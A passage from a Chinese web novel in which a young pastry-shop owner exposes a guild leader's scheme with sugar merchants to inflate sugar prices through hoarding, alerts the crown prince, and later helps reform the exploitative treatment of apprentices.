因为价格不算特别离谱,基本问题不大。 苏茵茵自己都说:“估计想多了,如果想要操纵糖价,势力必然不凡。” 苏显点头,又道:“反正明日点心行会的人都在,到时候可以打听打听,明日我去书院,问问万龙国糖商的身份背景。” 兄妹俩都没想太多。 如果不是知道甜菜的事,估计更不会在意了。 点心行会商议事情,都在城南的魏家,这家点心极为有名,之前稳居京城第一。 魏家如今的家主还在宫里当御厨,虽然年岁渐长,很多事不用亲力亲为,可他家培养出来的厨娘师傅,很受京城大户人家欢迎。 特级糕点师加糕点培训学校? 苏茵茵不是头一回过来,但之前她们母女两个只是来凑个数,这些年位置越来越靠前。 今日刚进门,更是被请到前面:“慧女点心,苏家点心的老板来了。” 众人立刻看过去。 苏茵茵母女两个跟大家打了招呼,有人连忙道:“哎呀,总算见到你们了,之前排队去买你家点心,都没看到你们呢。” “听说你们店已经推出新品,我家也是,柠檬太难买了。” “你家的蛋糕到底怎么做的,怎么那样松软啊,不是要秘方,就是好奇。” “最近什么都在涨,实在是太难了,我家生意要是跟你家一样就好了。” 苏娘子客气回了几句,王家饼店老板道:“来来来,终于等到你们了,快过来。” 王家夫妇俩携手过来,脸上写着急切。 他们身边都是京城中最厉害的几家点心店老板,同样是点心行会的支柱。 让苏家母女过去,代表大家的认可,惹得其他老板羡慕不已。 走到王家夫妇身边,就听他们道:“今日来的人多,谈不成事,等结束之后稍停片刻,咱们再聊。” 开大会聊不成事。 那就开小会聊。 苏茵茵只觉得好困啊。 她果然不喜欢来什么行会。 大会上聊的,基本都是行业内的时候,比如什么东西价格涨了,哪里的货不太大等等。 全都是内部信息交流。 还有些原料买多了,有没有同行接手等等。 期间提到糖价,但并未说太多,大部分都认为,涨幅应该在接受范围之内。 直到小会开始。 苏茵茵年纪小,大家也没把她当回事,行会会长魏师傅来的时候,跟苏娘子打了招呼之后,又朝苏茵茵客气道:“苏家点心以前就很出名,相信在你的手上,必然发扬光大,宫里都喜欢呢。” 宫里都喜欢,听听这话,多让人羡慕啊。 以苏茵茵的年纪,说不定以后能去宫中当御厨呢。 苏茵茵笑着道:“店刚开没多久,需要学习的地方还有很多。” 这事说过之后,小会正式开始。 数来数去,差不多就是京城排名前八的点心店留在这。 其中苏家母女以及王家夫妇俩算是最近几年才过来的,剩下的人显然很熟悉,特别是排名第一的魏家跟二三名。 对方一开口,便毫无废话,直接道:“京中做点心最好的店,基本都在这了,想来各位最近都发现一件事。” “糖价又涨了。” 等到魏师傅说起糖价的时候,苏茵茵抬头看过去,感觉到有什么不对劲。 “诸位每日用货量都极大,这对大家影响应该不小吧。” 第59章 此话没错。 京城里排的上号的点心铺,各个都有分店。 像苏娘子母女只有两间店属于极少的。 但她们每日原材料的消耗都不少。 王家饼店八家分店,魏家更是二十多处。 这些店生意或许不如苏家,但对材料的需求只多不少。 原材料涨价,对他们来说,最为关键。 至于糖的价格,更是重要,谁家做点心不用糖。 魏师傅一说,众人立刻附和。 “是啊,这几年糖价一直在涨,实在没有办法。” “各地都要用糖,产量已经跟不上了。” “我家点心已经准备涨价了,你们呢?” “涨吧,再不涨真的不行。” 苏茵茵看向魏师傅,等着他的下文。 果然,她心中猜测隐隐应验。 “据我所知,糖价大概率还会涨。”魏师傅直接道,“到年底,涨幅极大。” 此话一出,不少人都坐不住了。 还涨就算了。 涨幅还极大?! 今年如此,那明年怎么办。 方才说点心涨价,是个应对方法。 关键是涨价了,很多客人就不买了啊,这找谁说理去。 “魏师傅,这消息是哪里传出来的,可有什么依据。”有人问道。 王家夫妇也道:“是宫里的消息吗,魏师傅常年在宫里行走,必然知道些内情吧。” 魏师傅摇摇头:“非也,是其他人家传出来的,一个小徒弟偷偷报信,让我多做准备。大家都在一个行会,自然要提前同你们讲,省得接下来越来越难。” 此话一出,满场哗然。 谁不知道魏家培养了不少厨娘师傅,被高门大户争抢。 如果是这里面的消息,多半是真的。 魏师傅又道:“我家已经囤了几仓库的白糖红糖以及蜂蜜,这还不够,还需要再买啊。” “这价格什么是个头?”苏茵茵忽然问道。 众人看向这个小丫头,也升起疑惑。 “谁知道呢,或许等哪里多种甘蔗等物,糖的产量才会提起来。”魏师傅答道,“总之这一两年里,肯定会涨许多倍,特别是今年下半年,大家都要有个准备。” 总之一句话,早囤早便宜。 等到下半年,甚至到年底,肯定是另一个价。 排名第二,第三的点心店两个老板面面相觑,似乎挣扎片刻,也道:“我们两家也是,合起来买了一船的糖,你们稍微打听下就知道。” 不多时,又有两家跳出来,说的话也差不多,他们都囤货了。 苏茵茵身边的王家夫妇叹口气:“他们都囤了糖,咱们肯定也要多买些,不然生意还怎么做。” 只有另一个人开口道:“如果我们都在囤糖,那糖商肯定借机涨价,那我们岂不是推波助澜了。” 苏茵茵对看对方几眼,对方问的问题极好。 如果京城点心铺都要囤糖,糖价必然会涨。 魏师傅摆摆手:“我们这几家,虽说在京城算翘楚,却也影响不了大局。” 可会有连带反应。 其他点心铺,乃至酒楼饭馆,看到他们的行为,难道不会怀疑。 只要买糖的人多了,挤兑必然发生,糖价会节节攀升。 苏茵茵看向这位魏师傅,又看了看窃窃私语的众人。 这里面肯定有托。 哄着大家大批囤货,赶在价格极高的时候卖出大宗糖类。 如果糖的价格一直在高位,那确实是提醒大家紧急备用。 但明年这个时候,糖价因为甜菜的出现,肯定会下跌。 到时候囤货的老板们,就成了冤大头。 如果想要止损,这些糖商跳出来用低价收购,他们也只能忍着。 这样的话,低价买,高价卖,最后再低价买,或者干脆不管了。 那里面的利润,必然堪称恐怖。 汴京一日糖类消耗,定然是天文数字。 除了行会们的老板们,必然也会殃及普通百姓。 苏茵茵要是不知道甜菜的事,或许只会当做普通的糖类涨价,行会内部消息让提前囤货。 毕竟这种行业内部交流的情况很常见。 反正以后都需要糖,多买点就多买点,以后又不会亏。 但里面是有个变数的。 多数人都不知道的变数。 糖价格一定会降低。 里面的人,就是利用这个信息差,借机抛售手里之前糖。 毕竟旧糖比新糖价格好,品质也不怎么好。 这个局的目的,就是有糖商借机清库存。 接盘的冤大头们,就是他们。 苏茵茵拉住娘亲,让她不要表态。 一直到小会结束后,魏师傅果然注意到他们方才的情况,询问道:“方才都说要囤糖,你们家呢?” 苏娘子笑着道:“我们家小本生意,只有两个店,影响不大的。” 魏师傅轻蔑一笑:“那算了,老夫也不多劝,等等你们就知道了。” 有苏家这样想法的也不少。 所以他们不会多劝,等着就行。 苏茵茵悄悄反了个白眼。 这种局,肯定会暗中推高糖类价格,造成大家恐慌的。 不出意外的话,接下来半个月里,糖的价格必然会往上涨,让大家不得不囤。 出了魏家的门,苏茵茵难免有些焦急。 如果真的让这些人得逞,里面有她的罪过。 并非找到甜菜,培育甜菜有错。 而是没有及时发现这些问题。 新东西的诞生必然挤压旧东西的空间,不能做好调控,肯定会有人受到伤害。 说句无所谓的,糖商们早就赚的盆满钵满,就算有损失,也在他们的承受范围之内。 但影响到普通人,必然罪大恶极。 说不定还会家破人亡,闹出命案。 正因为这样,所以金彦磊他们去温泉山庄培育甜菜,才会秘密进行。 如今看来,肯定是有人泄密,把消息悄悄透出来。 在魏家时还能稳住,回到家中难**露出情绪 苏娘子察觉到女儿的不对劲,问道:“茵茵怎么了?是因为糖的事吗。” 苏茵茵点头:“是,咱们千万不要囤货。” 苏茵茵直接道:“糖价不会一直这么高的,最迟明年就能降下来。” 这么看来,糖涨价会有三个时间节点。 现在五月底,等到六月份绝对涨高一截,引人抢购。 接着便是节节攀升。 一直到过年前十一月份,必然趁着年过大幅增长。 最疯狂的便会在明年三月份左右。 因为新糖五月份下来,如果糖商们贪钱,必然会五月前拉高糖价,清空所有商品。 就因为了解这些,才不能跟风去囤。 以她家的体量囤不了太多,但绝对会带动许多人去囤。 想来魏家故意找京城前十的点心铺,为的就这个。 苏娘子道:“听你的就好,你先别着急。” 不能不着急,她真的讨厌给别人添麻烦。 如果因为这事,有人家破人亡,她要怎么办。 以前李锐渊没事就出来晃一下,今日怎么不来了。 等到哥哥回家,哥哥打听出京城几家糖商,又问了夫子这几家的背景 苏茵茵细细对着,其中几家,果然有魏家培养的厨娘。 看来就是通过这件事连接起来。 而这些糖商还有世家大族的背景,怪不得想要借机操控糖价。 日常所需的柴米油盐酱醋茶,看着普通,但千家万户都要用,利润极高。 新糖出现,无异议剜下他们一块肉,怪不得要做局敛财。 苏显警觉妹妹的敏锐之余,开口道:“此事必须要告知朝廷,否则后果不堪设想。” 苏显读书多年,自然有为国为民的心愿,遇到这种事必然要管。 现在最合适的人,肯定直接告诉李锐渊。 但要怎么联系他? 苏茵茵看了看窗户,顺手把上面的锁去掉,第二日又去了新店。 还好刚进门,郭展就在里面等着。 李锐渊如今观政,不好大摇大摆出现,只能让身边的太监们乔装走在后门,顺便送点东西。 “苏姑娘,听说您前几日去打马球了,去年的护膝是不是小了些,殿下早就吩咐给您另做两套。”郭展勤勤恳恳还未说完,就听茵茵开口了。 苏茵茵直接道:“他现在在哪?带我去见他。” 行会结束第二天。 糖价已经在涨了。 想来一个上午时间,就会有不少人入套。 现在止损还来得及,真让对方坑的人多,她心里不痛快。 “殿下在东宫议政。”郭展开口道。 正好店员走过来,两人不再提这事,反而店员小姑娘来了苏茵茵身边,不好意思请求一件事。 “最近糖价长的实在高,我娘亲吃药时想甜甜嘴,却有些买不起,我能不能从店里支一些,回头再补同等的糖。” 借糖借面都是常事,苏茵茵没有拒绝,只是问了句:“今日糖价又涨了?” “是啊,那店里伙计说,还会接着涨呢。” 郭展想到什么,等店员离开,立刻道:“茵茵姑娘,若有什么急事,您就去一趟东宫?” 她? 东宫? 东宫在皇宫里面,她去吗。 郭展拍着胸脯道:“茵茵姑娘,您不信我,也要信您自己啊。” 苏茵茵抿嘴,要不然再等等。 直接去东宫似乎不大好:“要不你让他过来一趟。” 让太子过来,似乎也不大好。 到了这会,即使苏茵茵再想否认两人关系密切,都是不可能的。 郭展一脸为难,但还是道:“虽然近日事多,但您吩咐,殿下肯定来,小的现在就去通报。” 苏茵茵看着郭展,忍不住道:“郭展,你故意的。” 对方嘿嘿一笑。 肯定啊。 而且咱们都知道,小的去通报,太子肯定会过来。 反正无论哪个选择,您都知道殿下的心意就对了。 苏茵茵想了片刻,干脆把事情经过写了下去,直接递给郭展:“他看完之后就会明白的。” 对他们这些普通百姓来说,想要阻止这件事,必然极为艰难,但交给太子,应当很快就能制止。 郭展虽然没能把苏茵茵接到东宫,却也算得到回信,连忙点头。 不管信里写的是什么,太子都会高兴就对了。 此刻的东宫噤若寒蝉。 “谁泄露了甜菜一事。”李锐渊眼神冰冷,“必须马上查证。” 甜菜生产出来的糖有多重要,已经不必过多赘述。 可这东西好归好,却会动一部分人的利益。 现在消息走漏,难免需要排查。 李锐渊又道:“从京城糖商查起,注意他们的异动。” 话说着,郭展悄悄走过来,递上一封信件。 信里详细写了市面上的异常,以及糖商放出的消息,再有对涨价的预测,并且指名魏家情况。 这分明像一封条理清晰的奏章,事情前因后果全都写了出来。 而这笔迹,李锐渊再熟悉不过。 眼看臣子们正在讨论谁去调查,太子让人递上这封信:“按照这个方向查。” 太傅先看到信件,他也认识上面的字。 苏家那个小姑娘的。 再看里面的行文,有理有据的论述,让他都暗暗称叹。 再想到太子私底下的决心,只道若是这女子,身份确实不成问题。 临到中午,苏茵茵还在新店,就见王家饼店的夫妇俩跑过来,他俩脸上都带着诧异,口里沉甸甸的。 苏茵茵往那一看,他们赶紧道:“这里面是银子。” 不用这么实诚吧。 “一个上午的时间,糖价涨了两成,所以我们想要去囤一些,”他俩说着,还心有余悸,“但是刚跑过去,就见官府的人来了,说是最近糖价异常,要把糖商带回去问话!” 昨日苏茵茵就说过,她家是不囤的,王家饼店本想效仿,谁料一早上糖价就在飞涨。 所以临到中午赶紧去买,生怕价格继续往上涨。 也是凑巧,他们刚要付钱呢,官府的人正好过来制止他们,还说道:“朝中已经在扩大糖的产量,最晚明年这个时候,糖的产量会翻倍增长。” 听到最后一句,其他客人们将信将疑,但苏茵茵却是松口气。 不过她没想到,李锐渊竟然按照她信里所写的办。 事到如今,与其瞒着新糖的存在,不如干脆和盘托出。 以前不说是害怕糖商们捣乱,现在他们既然已经开始捣乱了,那干脆一窝端。 王家饼店夫妇俩还道:“官差还说,新糖质量极好,雪白雪白的,也不知道是真是假。” 苏茵茵点头:“真的,我也听说了。” 她也听说了?! 听谁说的? 苏茵茵这个没答,只道:“看着吧,糖价不会居高不下的,放心。” 话是如此,但当天下午魏家被捕的消息,还是让行会众人吃了一惊。 小道消息说,是魏家跟京城糖商们合作,故意放出的消息。 让点心行当的老板抢购糖类,以此抬高糖价。 选点心行当翘楚的原因,就是如苏茵茵猜测,让其他点心铺子有样学样,已经有铺子遭殃了。 不仅如此,京城几大酒楼同样得到“密保”。 如果魏家不被抓,估计他们也会大批量购买。 京城要是都这么做了,周围地区更是有样学样。 只需半年时间,糖商手里的库存就能全部高价抛售,等着新糖上市,再卖新糖。 他们是稳赚不赔。 那之前囤货的老板们就完蛋了。 魏家在这里面,算是掮客,甚至表面上还能当个受害人。 只是他们没想到,事情刚刚开始,就被发现,还直接被抓了。 他们做的明明很小心啊。 而且涨的也不算离谱,官府抓的也快了。 等到行会众人再次齐聚,这次魏家已经换了人过来,脸上带着惶恐不收,对众人都是低声下气,生怕家主做的事连累到他们。 不出意外的话,他们二十多家店铺,至少要关门一半。 排名第二,第三,第五等等几户人家里也有牵连,原来大家都是合起伙来骗人的! 苏娘子从行会出来,还心有余悸。 她们家只是想好好做个点心,怎么事情那样多。 好在事情结束了,而且还知道,以后糖价会便宜,更是好事。 苏茵茵心里悄悄松口气。 解决的确实足够快,前前后后不到十天时间。 该抓的都抓了,糖价也恢复正常。 她也没惹出来麻烦,甜菜的事到现在,才算真正与民有利。 可她不知道,她写的信件已经放在此事的卷宗当中,证明她不仅发现甜菜,还解决了京城糖商敛财一事。 李锐渊再来的时候,倒是跟之前一样,他不用多说,但意思很明显。 你可比自己想象中还要厉害。 这样厉害的人,怎么就不能走出一步呢。 苏茵茵只当听不到。 你愿意走出童年阴影,那是你的事,我不想,我就要待在家里。 李锐渊却执着道:“我不信。” 说着,李锐渊把甜菜生产出来的第一罐白糖拿出来:“你看看着罐糖,难道不激动吗。” 雪白晶莹的白糖在琉璃罐子里,一时间不知道哪个更值钱。 苏茵茵颇有些震惊。 习惯了现在的糖,她看到如此漂亮的白砂糖都有些恍如隔世。 她还知道,这样的糖吃起来有多好,做出来的点心也会更甜。 知道甜菜能做成糖,跟看到糖的出现,还是完全不同的。 苏茵茵拿起糖罐,稍稍晃动一下,里面的白砂糖松散漂亮,一看就是新糖。 一直到七月份,市面上糖类价格变化不大,就连幕后高官都被揪出来,苏茵茵说不开心是假的。 因为根据卷宗来看,这些人的目的就是搅乱糖的市场,甚至还做好离京的准备。 到时候卷着大批金银,举家搬迁。 至于被骗的百姓,那跟他们毫无关系。 按照这些人的计划,等到年底,糖价会是如今的十倍。 到时候家破人亡的,可不止是少数。 而这些人如此疯狂的原因,既因为新糖出现,他们的利润变小。 也因为朝中新政影响他们地位,所以准备捞一笔就跑。 总之一句话。 苏茵茵的聪明救了很多人。 这是卷宗最后的总结之一。 她的名字就在东宫卷宗当中。 虽然只有少数人知道,可她对这件事的贡献是极大的。 这一切,都是李锐渊做的准备。 他用所有行动证明,他想娶她,不是一句空话。 更要向苏茵茵表明,你真的可以,你往前走一步就好。 不管了。 跟她关系不大。 她有那时间,不如跟着去练马球。 自从雨情郡主把马场借给孙东俊之后,他基本天天都要过去,不过他想要让杜小姐教他,就必须喊上苏茵茵,否则肯定不合适。 练着练着,苏茵茵的球技也在提高,所以没事就往球场跑。 等到孙东俊球队比赛的时候,还约着杜小姐一起去看。 到了比赛现场才知道,这赛事竟然那么多人看。 好像是京城学子们约着比赛,队伍一个比一个强。 孙东俊之前顶多骑术不错,但马球一般,经过这段时间特训倒是能上场了。 杜小姐看得高兴,紧张的时候忍不住握住苏茵茵的手,好像自己比赛一样,毕竟是自己徒弟,一定要加油的。 整场比赛结束前,苏茵茵还看到一个意外的人。 孟三公子还有孟小姐,孟小姐身边还坐着一个男人,应该是她未婚夫。 他们这么碰到,颇有些尴尬。 特别是孟三公子,既为无故猜测苏姑娘要去当侍妾羞愧,也为自己的境遇丢人。 他前段时间离开京城回了老家,可在老家待不下去,求情要回来。 如今无官无职,书也读不进去,颇有些郁闷之气,之前不少好友都躲着他走,毕竟不知道他到底得罪了谁,所以离他,甚至离他家远点的好。 这会看到苏茵茵,她还跟之前一样,看他的目光一如从前,丝毫没有嫌弃的意思。 苏茵茵收回目光,孟三显然有些失落。 不过再想找人,已经找不到了。 回到家中,孟三魂不守舍,难免又想到苏茵茵。 经过之前的事,家里也给相看了几户人家,不过都因为他前途未卜婉拒。 如果他再提起跟苏茵茵的事,会不会好一些。 既然她跟金大人没有关系,也没有许配人家,或许是有机会的。 孟三准备再去找找苏显,好好道个歉才是。 但苏显最近也没空,山家书院今年变动极大,不少夫子被推荐去做官,连带着他们的学生也跟着忙碌。 苏显自然是其中之一。 等知道孟三刻意来找时,苏显少见的不耐烦,而且他也清楚这位倒霉的原因。 如果再贴上来,只怕会更倒霉。 别的事就罢了,若跟妹妹有关,他肯定乐见其成。 偏偏这个时候还有同窗主动过来问:“你家妹妹的婚事可有着落了。” 苏显本能看过去,对方不好意思道:“之前见过几次,我家弟弟也到了婚配的年纪,你看?” “我妹妹年纪还小,最近几年不考虑。” “明年不就及笄了?先接触看看呗。” 当哥哥这边都是如此,苏指挥使在兵马司,也有人送来帖子,基本都是一个意思。 毕竟到了明年,苏茵茵便十五了。 按照万龙国的风俗,基本上就可以说亲。 定下两三年嫁人,一切都刚刚好。 像苏茵茵这样有福气的小姑娘,肯定越早结交越好。 惹得苏指挥使脸色十分难看。 他家女儿年纪还小! 都想什么呢! 憋气的苏指挥使回到家中,还跟娘子暗暗吐槽,女儿大了,越想越难受。 苏指挥使道:“以后少跟这些人接触。” 说着说着,夫妇俩同时想到一个人,原锐。 原锐这孩子最近经常来吗? 最近有段时间没见到他了。 夫妇两个心里抗拒,却还是把多年给孩子们攒的聘礼,嫁妆拿出来。 茵茵的事可以再放放。 大儿子的婚事,却是真的要提上日程。 下次乡试还要两三年时间,提前把婚事办了,他们也能安心。 只是要找个什么样的人家,他们心里也打鼓。 总要苏显喜欢,家世清白的。 不需要大富大贵,人好就行。 “问茵茵啊,她有福气的,肯定能找个合适的。” 别说其他人了,就算是苏家都觉得茵茵是有福气的小红娘! 找她肯定没错! 第60章 哥哥的对象? 苏茵茵也想象不出来啊。 上次本以为有戏的孟家小姐,其实什么关系也没有。 真要找的话,连个模板都没有。 苏显对此倒是不抗拒,反正早晚都要成亲,他全听家里安排即可。 身负重任的苏茵茵拿着当季新品去店里的时候,还在思索这个问题。 她家新店位处西城跟南城交接处,去的时候已经有人顾客在店里,看到她手里的新品,惊喜道:“马上要上新点心了吗。” “快了,就这两三天时间。”苏茵茵笑着道,“到时候欢迎来品尝。” “一定会的!”顾客高兴道。 能找到一家喜欢的点心店也不容易的。 接下来的新品基本都跟芋头相关。 软乎乎的芋头糕,芋头酥饼,还有糯米芋头。 很适合冬天吃。 苏茵茵处理芋头也有一手,只留芋头的香甜,质地非常细腻,同样甜而不腻,都是下了功夫的。 在店里做事的店员们早就发现了,对于怎么处理食材,茵茵从来不藏私,只要不是秘方极为特殊的,都会交给她们。 很多人都说,从她店里出去的店员,再去其他地方做事,肯定很受欢迎。 说不定会跟魏家一样呢。 “别这么说,忘了魏家的下场了吗。” “对对对,不能这么说的。” 苏茵茵听她们说着,那魏家十八个店铺全都被关了。 发现他们利用送厨娘,给官员行贿,勾结糖商,手段都不用细说。 这些离普通人生活远一些。 最可气的,还是关于厨娘的事。 魏家打着御厨,以及培育点心师傅的名头,收了不少学徒。 古时候的学徒不仅要给师父交钱,还要打白工。 这些学徒就会被送到各个店里学做帮工。 每日做的活计极多,还要给魏家银子。 “怪不得他家能开那么多店,里面的人都不用付工钱,还能赚钱啊。” “谁说不是啊,关键是,给了工钱,也就是打杂而已,每个三五年学不到真本事。” 这也太黑了,苏茵茵心道。 谁知道更黑心的还在后面。 若手艺真的培养出来,就能送到大户人家做厨娘。 如果想要好人家,那就又要给钱。 总之不把人榨干是不可能的,如果没钱的话,那就预支工钱,等到还清之后,自己才能拿月钱。 “这不是黑工吗。”苏茵茵忍不住吐槽,“哪有这样做事的。” 勾结糖商事发之后,这些事也被抖出来,让世人知晓。 “真是可怜。”店里众人叹气道。 谁说不是呢。 话音刚落,就见店门口有个十七八岁的女子,她有些犹豫,但还是主动过来问道:“请问店内老板在吗。” 找老板? 苏茵茵走过去,对方显然知道她,脸上带了惊喜:“您就是苏老板吗。” 苏茵茵点头:“我是,请问有什么事吗。” 说话的女子衣着不算太好,但整洁干净,头发简单梳了下,身后还背着一个包裹。 “苏老板,你们这里还招人吗,我有做点心的经验,而且我力气大,很能吃苦干活。” 来找活的? 店里众人面面相觑。 现在新店里一共六个员工,后厨三个,前面一个,打杂一个。 其实差不的。 毕竟店面就这么大,还有苏茵茵基本都会过来,是够用了的。 苏茵茵看着她的眼神,原本想拒绝的,可还是多问一句:“你之前学过?在哪里学的?” 对方迟疑片刻,说了句:“魏家。” 魏家?! 众人回过神。 方才他们还在讨论这件事,没想到这么快碰到魏家出来的学徒。 其中一个活泼些的小姑娘道:“那你在那学了多少年啊,真的每个月都要给钱吗?” “四年。”女子开口,“从我十四过去,一直到现在正好四年。” 她没有银钱给,所有要做两人份的活,算是抵债。 一个人当两个人用,整整四年时间。 这也太可怕了。 苏茵茵想了想道:“既然你是手艺的,那就在后厨做事吧,店里生意好,多个人大家都轻松。” 店里其他人自然没意见,立刻欢迎女子进门。 苏茵茵看到她的包裹,主动问道:“你有地方住吗?” 对方迟疑片刻,又道:“官府说,可以暂时住到魏家,找到地方就可以搬出去。” 说完,又介绍了自己的姓名。 女子名叫安桂兰,今年十八,极为沉稳,手上带着茧子,一看就是做过许多活的。 能在这里做工,她也松口气。 因为在后厨做事,工钱要比柜台的人高一些,再加上她之前学过四年的白案,很多东西立刻就能上手。 而且大家发现,安桂兰做事利落,但就是不爱说话,后厨等着点心出炉的时候,多会坐那歇一会,喝口水,聊聊天。 安桂兰却极为拘谨。 仔细问了才知道,在魏家做事,根本不敢停。 这也太黑工了。 魏家还是行会的会长,怎么可以带头压榨员工啊。 等到下午关店,安桂兰帮着收尾,正好碰到来接妹妹的苏显。 苏显见店里新来了人,朝她微微点头,对店内道:“妹妹,你看这是不是你要的芋头。” 不同的芋头吃食,最好用不同的品种。 苏茵茵确定好食谱,但有一样芋头还未找到货源。 “对,就是这种,这种没那么软,但吃起来格外的绵密。”苏茵茵认真对比了下,“谢谢哥。” “客气什么,我让那家农户明天早上过来洽谈。”苏显笑着道。 等苏茵茵从后厨去前店,见这里已经被打扫的干干净净,兰娘人已经走了,忍不住跟哥哥感慨:“那魏家出来的学徒,怪不得被大家抢着要,什么事做的都利落。” “但是也太黑心了,这可是人啊。” 苏显摇头:“其实京城多数学徒都是这般,魏家只是其中之一罢了,而且他家在点心行会很有地位,难免都来效仿。” 也就是说,他们家的才是例外? 见哥哥点头,苏茵茵道:“说是学徒,其实大家做的活都不少,不该这样的。” 她到底活在新时代那么多年,肯定看不惯的。 “确实如此,想来魏家罪行被揭发,以后会好一些。”苏显答道。 苏茵茵点点头,是这样的。 再见到安桂兰,苏茵茵难免多问几句。 基本都是问学徒平日都要做多少活,以及学徒们都要付出什么,以及休息,什么时候能发工钱等等。 安桂兰刚开始还有点迟疑,被东家问多了,也就如实答。 听完之后,店里的人都沉默。 这也太夸张了。 再知道安桂兰为何不能回家后,心里更多了怜悯。 “这么看,还是咱们店里好,只要进来就有工钱。” “是啊,一个人做两份工,还全当还债,这还是做工吗。” “毕竟是行会内部的事,内部不说,旁人又怎么会知道。” 而他们苏家的点心铺,一直都是雇自己人,跟行会掺和不深,所以压根不知道。 听明白这些,苏茵茵甚至知道,为什么她跟娘亲总是被其他店铺若有若无的排挤。 原来是不合群。 苏茵茵听罢,让大家在外少说店里的事,否则肯定会其他人惦记。 这点安桂兰点头:“其实也是你们刚入行会没多久,如果时间长了,肯定会有人找过来的。” 觉得他们拉高了行业标准,就会劝苏家母女苛待员工,这样行业会更稳定。 不过现在的点心行会,可没心情做这些事。 不少店都牵连到糖商一案当中,整个行会内部都如惊弓之鸟,牵扯越深,心里越怕。 等到八月份,点心行会才又组织起来。 这次竟然是在王家饼店家里开会,可见经过上次的事,行会内部折损近一半。 而这次开会的目的,就是要把行会重新组织起来。 苏家母女的位置自然往前走了走。 她们家店铺虽然少,生意却能排到前头。 再加上之前也就她们来不囤糖,说是糖价不会一直上涨。 难免有人多问几句,你们是不是早就知道甜菜的事? 再想想苏娘子的秀才儿子,指挥使相公。 似乎是有可能的。 苏娘子其实也疑惑,特别是甜菜的事,也是女儿先知道。 以前没有细想,这次从行会出来,难免多问一句。 面对娘亲,苏茵茵自然是不好撒谎的,她小声道:“原锐说的。” 原锐? 苏娘子前几日跟相公还说起他,觉得他这段时间都没来。 没想到又听到他名字。 如此关紧的事,原锐又是如何得知的? 事到如今,苏娘子也不得不思虑原锐的身份。 见女儿犹豫,苏娘子安抚道:“没关系,娘相信你,不管他是什么身份,想来不是个坏孩子。” 也算从小看着长大的,对他还是有些信任。 接下来半个月里,点心行会忙碌起来。 总之就一件事。 推选新的会长,要把行会重新组织起来。 这样的行会还是很有用的,不管是官府的通知,还是内部消息传递,还有行业互助,很依靠同行传递消息。 官府那边也说,让他们尽快选出新的行会会长,然后去官府报道。 苏娘子连着去了好几日,都有些吃不消了,最后选出三个会长,以正会长,两个副会长。 结果出来,苏娘子竟然成了副会长之一。 别说其他人诧异了,就连苏家两个店铺所有人都觉得不可思议。 可仔细想想,这事也不奇怪。 苏娘子向来与人为善,只要能帮的,她一定会帮。 行会推选的时候,不少店铺老板都选的她,毕竟她做事,一定很公平。 其实就连苏茵茵都差点入选。 她在点心一道,实在是后来居上,明眼人都看得出来,以后她的成就,绝对不会亚于魏家。 要不是年纪小,肯定也入选了。 苏茵茵对如不入选没什么别的念头,倒是想到一件事。 行会里学徒们的生活,能不能趁着机会改善一下? 此事说给娘亲听之后,她立刻表示赞同。 大家都是做点心的,谁不知道这行当的辛苦,没有工钱能学手艺就罢了,哪能再给钱呢。 如今最黑心的几家已经散了,现在正是提出此事的好时机。 有女儿在后面筹谋划策,点心行当重新组织起来之后,第一件事,便是吸取魏家的教训,改善学徒们的处境。 苏显得知此事后,自然也加入其中。 等此事真的办成,苏娘子在点心行会中,已经是说一不二的人物,甚至比真正的会长说话都管用。 谁让整个点心行当的学徒们都真心敬佩她。 苏娘子为此还焦虑过一段时间,生怕自己做的不够好。 等行会的事稳定下来,倒是又提起儿子的婚事。 一听说苏显真的要说亲,不少人都介绍自家女儿。 谁不知道苏家家世清白,与人为善,不管是苏娘子还是苏指挥使,都是聪明大度的人,平日里帮了不少人,结下不少善缘。 人家的小姑子苏茵茵,同样是个乖巧懂事的丫头。 苏显本人已经是秀才,就算从此止步不前,也已经很好了。 再者他相貌生的好,虽然话不多,却同样乐于助人。 这次行会里改善学徒们的生活条件,也有他在其中帮忙。 总之一句话。 嫁到苏家,肯定极好的。 就连兵马司的同僚都在跟苏指挥使打招呼,让双方相看相看。 苏显直接傻眼。 之前家里没提这事,他已经被很多人问过婚事。 这下更是闲不住。 苏茵茵也帮忙看了几家帖子,但总没有特别合适的。 在她眼里,哥哥的媳妇儿一定好非常好才是。 这可是她哥啊! 苏显见此,连妹妹店里也不怎么去了,每日傍晚之后再回家,省得被人拉着相看。 这日刚从书院回去,便看到一个熟悉的身影。 这不是妹妹店里的新厨娘吗。 苏显不好直接前去询问,但看着她背着自己的包裹,好像在找合适的住处。 苏显疑惑,她不是说可以暂住魏家? 眼看天已经黄昏,干脆上前询问道:“你是安桂兰?怎么没回魏家住?” 安桂兰往后一看,见是东家的哥哥,连忙行礼,客气道:“魏家那边住不下了,所以要再找地方。” 苏显皱眉:“住不下?按理说那里的人应该越来越少才是。” 见谎话被戳破,安桂兰颇有些害怕,也不知道该怎么回答。 过了会,安桂兰才咬牙道:“魏家的宅子不让住了,所以要找落脚的地方,东家放心吧,我不会牵连到苏家的。” 倒也不是怕牵连,苏显从来没有这个意思。 但对方戒备心极强,他也不好再问,指了指一处方向,开口道:“那边有几处民居,之前科举时借给考生住过,你可以去找找,有几家只有孤儿寡母还算安全,价格也便宜。” 安桂兰明显一愣,她没想到东家的哥哥是在帮她,并非质问她骗人。 察觉到这点,安桂兰有些不安,连忙道谢,紧紧攥着包裹。 苏显朝她点点头,这才离开。 不过回家之后,还是同妹妹说了这事。 倒不是质疑安桂兰的人品,而是道:“她应当有什么难处,所以才瞒着自己的情况。” 苏茵茵点头:“她在店里做事非常认真细致,绝对不是故意说谎的。” 等到第二日早上,苏茵茵还未问,安桂兰便和盘托出。 她昨日借住的正是东家哥哥指点过的地方,但一晚上辗转反侧,根本睡不着。 此刻跟东家说实话,也很是为难。 事情是这么回事。 她找活的时候背着包裹,就是想找个有住处的活,可她最想来的苏家点心,是没有住宿地方的。 即便如此,安桂兰还是先来询问,没想到还真的留在这了。 所以当天晚上她又回到魏家暂住。 这时候倒没什么事。 反正魏家那么多学徒,大家都挤在一个地方。 但在苏娘子当了行会副会长之后,留下的魏家人便看她不顺眼了。 等到学徒们的处境改变,行会规定不能压榨学徒,并说明不能像魏家那般之后,那地方便彻底不让她住,直接把她东西都扔出来。 要不是其他学徒帮忙收揽行李,只怕回去之后,东西都丢完了。 这段时间,每天晚上她都找地方凑合休息。 昨日正好被苏显看到,下意识说了慌。 还有这回事。 苏茵茵惊讶道:“你怎么不同我讲。” 说罢又道:“你被我们牵连,所以不好意思讲?” 应该就是这样了。 